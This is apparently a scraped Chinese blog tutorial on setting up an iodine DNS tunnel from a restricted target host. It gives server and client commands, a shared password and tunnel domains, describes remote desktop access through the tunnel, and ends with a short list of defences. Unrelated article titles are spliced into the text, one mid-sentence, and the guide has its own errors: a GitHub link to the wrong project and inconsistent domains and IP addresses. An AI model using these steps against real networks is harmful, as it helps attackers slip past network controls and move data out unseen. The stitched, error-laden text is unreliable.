程序员做外包有前途吗?谈谈外包的利与弊
iodine可以通过一台dns服务器制造一个IPv4数据通道,特别适合在目标主机只能发送dns请求的网络中环境中使用。iodine是基于C语言开发的,分为服务端程序iodined和客户端程序iodine。iodine支持EDNS、base32,base64,base128等多种编码规范。 GitHub:
https://github.com/boazsegev/iodine iodine支持直接转发和中继两种模式,其原理是通过TAP虚拟网卡,在服务端建立一个局域网;在客户端,通过TAP建立一个虚拟网卡;两者通过DNS隧道连接,处于同一局域网(可以通过ping命令通信)。在客户端和服务端之间建立连接后,客户机上会多出一块“dns0”的虚拟网卡。 DNS隧道流程:iodine客户端->DNS服务商->iodined服务端,由于客户端和服务端都在同一个局域网,那么只需要直接访问服务端,如3389,就直接mstsc、10.0.0.1:3389。 更多使用方法和功能特性请参考官方文档
https://code.kryo.se/iodine/
(1)安装服务端 首先设置域名,要尽可能的使用短域名,域名越短,隧道的带宽消耗就越小。设置A记录iodine服务器的IP地址,将NS记录指向此子域。
安装iodine服务端,如果是在windows中,需要安装编译好的对应版本的iodine。 apt-get install iodine 运行iodine服务端iodined iodined -f -c -P Micr067 192.168.0.1 vpn.abc.com -DD -f:在前台运行 -c:禁止检查所有传入请求的客户端IP地址。 -P:客户端和服务端之间用于验证身份的密码。 -D:指定调试级别,-DD指第二级。“D”的数量随级别增加。 这里的192.168.0.1是自定义的局域网虚拟IP地址。
(2)安装客户端 linux环境: iodine -f -P Micr067 vpn.payload.ltd -M 200 -r:iodine有时会自动将DNS隧道切换为UDP隧道,
abp vnext2.0之核心组件模块加载系统源码解析与简单应用
该参数的作用是强制在任何情况下使用DNS隧道 -M:指定上行主机的大小。 -m:调节最大下行分片的大小。 -T:指定DNS请求类型TYPE,可选项有NULL、PRIVATE、TXT、SRV、CNAME、MX、A。 -O:指定数据编码规范。 -L:指定是否开启懒惰模式,默认开启。 -I:指定两个请求之间的时间间隔。 windows环境: windows客户端可以直接使用编译好的windows版本,同时需要安装TAP网卡驱动程序。也可以下载OpenVPN,在安装时仅选择TAP-Win32驱动程序,安装后服务器上就会多出一块“TAP-Wndows ADApter V9”的网卡。 运行客户端程序iodine,如果出现提示“Connection setup complete, transmitting data”,就表示DNS隧道已经建立。 iodine -f -P Micr067 vpn.abc.com
此时,TCP over DNS已经建立,在客户端执行“ping 192.168.0.1”测试是否连通。
(3)使用DNS隧道 DNS隧道的使用方法比较简单,由于客户端和服务端在同一局域网中,只要直接访问服务端即可,例如,登录目标主机的3389端口,就可以直接执行 mstsc 10.0.0.1:3389。同样,目标主机也可以直接通过ssh登录服务端。 (4)防御DNS隧道攻击的方法 1.禁止网络中任何人向外部服务器发送DNS请求,只允许与受信任的DNS服务器通信。 2.虽然没有人会将TXT解析请求发送给DNS服务器,但是邮件服务器/网关会这样做,因此,可以将邮件服务器/网关列入白名单并阻止传入和传出流量中的TXT请求。 3.跟踪用户的DNS查询次数,如果达到阈值,就生成相应的报告。
Linux测试环境简单使用教程